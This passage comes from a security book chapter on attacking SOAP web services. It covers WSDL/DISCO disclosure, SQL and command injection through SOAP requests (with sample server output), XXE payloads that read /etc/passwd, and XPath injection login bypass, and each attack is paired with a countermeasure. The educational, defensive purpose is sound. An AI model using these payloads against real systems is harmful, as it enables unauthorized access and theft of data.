Attacking Web Services

OK, enough background. How do web services fare when under real-world attack? This section will discuss recent hands-on examples from our consulting work.

DISCO and WSDL Disclosure

Popularity:	5
Simplicity:	10
Impact:	3
Risk Rating:	6

 Attack    Microsoft web services (.asmx files) may cough up DISCO and/or WSDL information simply by appending special arguments to the service request. For example, the following URL would connect to a web service and render the service's human-readable interface:

http://www.victim.com/service.asmx

DISCO or WSDL information can be displayed by appending ?disco or ?wsdl to this URL, as shown here,

http://www.victim.com/service.asmx?disco

and here,

http://www.victim.com/service.asmx?wsdl

Figure 8-6 shows the result of such an attack on a web service. The data in this example is quite benign (as you might expect from a service that wants to publish information about itself), but we've seen some very bad things in such outputSQL Server credentials, paths to sensitive files and directories, and all of the usual goodies that web devs love to stuff into their config files. The WSDL info is much more extensive as we've discussed, it lists all service endpoints and data types. What more could a hacker ask for before beginning malicious input attacks?

Figure 8-6: Dumping DISCO information from a remote web service using the ?disco argument

We should also note that you may be able to find out the actual name of the DISCO file(s) by perusing the HTML source of a web service or related page. We saw how "hints" as to the location of the DISCO file(s) can be implemented in HTML earlier in this chapter, in our discussion of DISCO.

DISCO and WSDL Disclosure Countermeasures

 Countermeasure     Assuming that you're going to want to publish some information about your web service, the best thing to do to prevent DISCO or WSDL disclosures from becoming serious issues is to prevent sensitive or private data from ending up in the XML. Authenticating access to the directory where the files exist is also a good idea. The only way to ensure that DISCO or WSDL information doesn't end up in the hands of intruders is to avoid creating the relevant .wsdl, .discomap, .disco, and .xsd files for the service. If these files are available, they are designed to be published!

Injection Attacks

Popularity:	5
Simplicity:	5
Impact:	8
Risk Rating:	8

 Attack    The major attack that most web services are vulnerable to is the same issue that plagues all software programs: input validation. In fact, we find that web services tend to be even more vulnerable then "classic" HTTP/HTML-based web applications. This is due to most developers assuming that the communication to the web service is a computer and not a human. For example, the following SOAP request shows how SQL injection can be done in a Web services call. The bolded portion is the SQL injection attack being used in the accountNumber parameter.

 <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http:/ /www.w3.org/2001/XMLSchema">   <soap:Body>     <InjectMe xmlns="http://tempuri.org/">  <accountNumber>0' OR '1' = '1</accountNumber>  </InjectMe>   </soap:Body> </soap:Envelope> 

Next , we'll present an example of executing remote commands via a SOAP service. This particular service was used to convert images from one format to another. The root cause was that the service took the filenames from user input and slapped them right on the command line. Here's the POST request, where we inject a simple /bin/ls command (in bold text) to obtain a directory listing on the server. We could've done much worse , of course.

 POST /services/convert.php HTTP/1.0 Content-Length: 544 SoapAction: http://www.host.com/services/convert.php Host: www.host.com Content-Type: text/xml     <?xml version="1.0" encoding="UTF-8" standalone="no"?><SOAP ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema" xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP ENV:Body><SOAPSDK4:convert xmlns:SOAPSDK4="http://www.host.com/ services/"><SOAPSDK1:source>  /bin/ls  </ SOAPSDK1:source><SOAPSDK1:from>test</SOAPSDK1:from><SOAPSDK1:to>test</ SOAPSDK1:to></SOAPSDK4:convert></SOAP-ENV:Body></SOAP-ENV:Envelope> 

Here's the server's response. Notice the output of the ls command in bold.

 HTTP/1.1 200 OK Date: Sat, 18 Jan 2003 22:41:37 GMT Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6a ApacheJServ/ 1.1.2 PHP/4.2.2 X-Powered-By: PHP/4.2.2 Connection: close Content-Type: text/html     <b>Warning</b>: fopen("cv/200301182241371./bin/ls", "w+") - No such file or directory in <b>/usr/home/www/services/convert.php</b> on line <b>24</b><br /> <br /> <?xml version="1.0" encoding="ISO-8859-1"?><SOAP-ENV:Envelope SOAP- ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"  xmlns:xsd= "http://www.w3.org/2001/XMLSchema"  xmlns:xsi="http://www.w3.org/2001/ XMLSchema-instance"  xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/ encoding/"  xmlns:si="http://soapinterop.org/xsd"><SOAP ENV:Body><convertResponse><return xsi:type="xsd:string">  class.smtp.php   convert.php   convertclient.php   dns.php   dns_rpc.php   dnsclient.php   index.php   mailer.php  </return></convertResponse></SOAP-ENV:Body></SOAP-ENV:Envelope> 

Injection Attacks Countermeasures

 Countermeasure    Input injection countermeasures for web services are the same as for classic web applications: input/output validation. We covered these topics in detail in Chapters 6 and 7.

External Entity Attack

Popularity:	2
Simplicity:	10
Impact:	3
Risk Rating:	2

 Attack    XML allows a document or file to be embedded into the original XML document through the use of external entities. Entities are like XML shortcuts; they allow a tag to be associated with either certain chunks of text or other data to be inserted into the XML. For example, a declaration of an entity looks like this:

 <!DOCTYPE bookcollection [     <!ENTITY WS "Web Security">     <!ENTITY W "Wireless Security">     <!ENTITY NS "Network Security">     <!ENTITY HS "Host Security">     <!ENTITY PS "Physical Security"> ]> 

These entities can now be used in the XML document by referring to them by their short names and will be fully expanded when the XML document is delivered.

 <bookcollection>     <title id="1">Web Hacking Exposed</title>     <category  >&WS;  </category >     <year>2006</year>         <title id="2">Hacking Exposed</title>     <category>  &NS;  </category>     <year>2000</year> </bookcollection> 

The full XML document will look like the following when parsed.

 <bookcollection>     <title id="1">Web Hacking Exposed</title>     <category>  Web Security  </category >     <year>2006</year>         <title id="2">Hacking Exposed</title>         <category>  Network Security  </category>     <year>2000</year> </bookcollection> 

As you can see, this is a very nice little shortcut that can be used to keep things easily manageable. Entities can also be declared as external entities, where the declaration of the entity points to a remote location that contains the data to be delivered. This is where the vulnerability lies. For example, consider the following external entity reference:

 <!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/ test.txt"><!ELEMENT foo ANY>]> 

By injecting this external entity reference into a SOAP request, the receiving SOAP server will go and retrieve the file at "http://www.test.com/test.txt" and inject the contents of test.txt into the SOAP request. Here's an example SOAP request into which we've injected our example external entity request (in bold):

 <?xml version="1.0" encoding="UTF-8" standalone="no"?>  <!DOCTYPE foo [<!ENTITY test SYSTEM "http://www.test.com/   test.txt"><!ELEMENT foo ANY>]>  <SOAP-ENV:Envelope xmlns:SOAPSDK1="http://www.w3.org/2001/XMLSchema" xmlns:SOAPSDK2="http://www.w3.org/2001/XMLSchema-instance" xmlns:SOAPSDK3="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP- ENV="http://schemas.xmlsoap.org/soap/envelope/">       <SOAP-ENV:Body>            <SOAPSDK4:login xmlns:SOAPSDK4="urn:MBWS-SoapServices">                  <SOAPSDK1:userName></SOAPSDK1:userName>                  <SOAPSDK1:authenticationToken></ SOAPSDK1:authenticationToken>            </SOAPSDK4:login>            <foo>&test;</foo>       </SOAP-ENV:Body> </SOAP-ENV:Envelope> 

The SOAP server then returns the following response:

 HTTP/1.1 200 OK Content-Type: text/xml     <?xml version="1.0"?> <!DOCTYPE test [ <!ENTITY test SYSTEM "http://www.test.com/test.txt";> <foo>... This is the content from the file test.txt ...</foo> 

Notice that the SOAP server parsed the request and retrieved the content located at "http://www.test.com/test.txt". The server then displayed the normal SOAP output along with the contents of the file "test.txt". An example of a more malicious attack would be to tell the SOAP server to return the system password file by just changing the URL location to point to it. By changing the external entity to "/etc/passwd", as shown next, the system will return the password file.

 <!DOCTYPE foo [<!ENTITY test SYSTEM "/etc/passwd"><!ELEMENT foo ANY>]> 

There are several things that can be done using this attack:

• Read files off the system using relative paths included in the external entity.

• Retrieve files from other web servers using the SOAP server as the gateway.

• DoS the SOAP server by sending malicious filenames such as the famous CON, AUX, COM1 device names with win32.

• Use the SOAP server to do anonymous port scanning of other systems.

XML External Entity Countermeasures

 Countermeasure    If you handle untrusted XML input, you should prohibit external entities. This is best done by specifying a handler for your XML parser that aborts when it encounters external entities

XPath Injection Attack

Popularity:	5
Simplicity:	10
Impact:	3
Risk Rating:	6

 Attack    XPath is a language that is used to query XML documents (see "References and Further Reading" at the end of this chapter for more information). It works similarly to SQL and is used in almost the exact same way. For example, let's say we have an XML file that has the following content:

 <?xml version="1.0" encoding="utf-8" ?> <Books>       <Book>            <Author>Joel Scambray, Stuart McClure, George Kurtz</Author>            <Title>Hacking Exposed</Title>            <Publisher>McGraw-Hill Osborne Media</Publisher>       </Book>       <Book>            <Author>Joel Scambray, Stuart McClure</Author>            <Title>Windows Server 2003 (Hacking Exposed)</Title>            <Publisher>McGraw-Hill Osborne Media</Publisher>       </Book>       <Book>            <Author>Caleb Sima, Joel Scambray, Mike Shema</Author>            <Title>Web Applications (Hacking Exposed)</Title>            <Publisher>McGraw-Hill Osborne Media</Publisher>       </Book> </Books> 

XPath queries allow developers to navigate and search each node in the file, rather than parsing the entire XML file (which is usually inefficient). Using an XPath query, the developer could simply return all the matching nodes. Let's use the previous example to illustrate how XPath queries work.

XML is formatted in terms of nodes. In the previous example, Author, Title, and Publisher are elements of the Book node. Nodes in XPath are referenced by "/"s. A query that will return all the Titles in this XML would look like this: "/Books/Book/Title". XPath also supports wildcards and shortcuts, so an equivalent shorter request for the same result would be "//Title". Double slashes indicate to start from the root of the nodes and keep searching until finding a result that matches "Title". To request all elements under the "Book" node, the XPath query would be "/Books/Book/*".

XPath has a number of different features and functions, but at this point we have enough background to illustrate how an attack is constructed . XPath injection works exactly the same way as SQL injection: if the XPath query is built with user-supplied input, arbitrary commands can be injected. Let's look at an example XPath query that is built into a web service. We've bolded the code where user input is being converted to an XPath query, in this case in order to determine if the username/password supplied matches the set on file:

 XPathNavigator nav = XmlDoc.CreateNavigator(); XPathExpression Xexpr = nav.Compile("string(//user[name/text()='"+  Username.Text  +"' and password/text()='"+  Password.Text  + "']/account/ text())"); String account=Convert.ToString(nav.Evaluate(Xexpr)); if (account=="") { // Login failed. } else { // Login succeeded. } 

As with SQL injection, the attacker now just has to find a way to craft their input in order to make the XPath result always return true, thus granting login. We'll use a classic SQL injection technique to achieve thisinjecting an expression that always evaluates "true":

 User: ' or 1=1 or ''=' Password: junk 

Now, when the XPath query is evaluated, it becomes

 //user[name/text()='  ' or 1=1 or ''='  ' and password/text()='junk' 

This query will return the entire list of valid users and authenticate the attacker (even though a valid username/password was not supplied!). Some other common malicious payloads that can be injected into XPath queries include these:

' or 1=1 or ''=' //*
*/*
@/
count(//*)

Extraction of the entire XML database is also possible using blind XPath injection (see "References and Further Reading" for a link to Amit Klein's excellent paper on this topic).

XPath Injection Countermeasures

 Countermeasure    Since it is so similar to SQL injection, the countermeasures for XPath injection are nearly identical. See Chapter 7 for a detailed discussion of these countermeasures.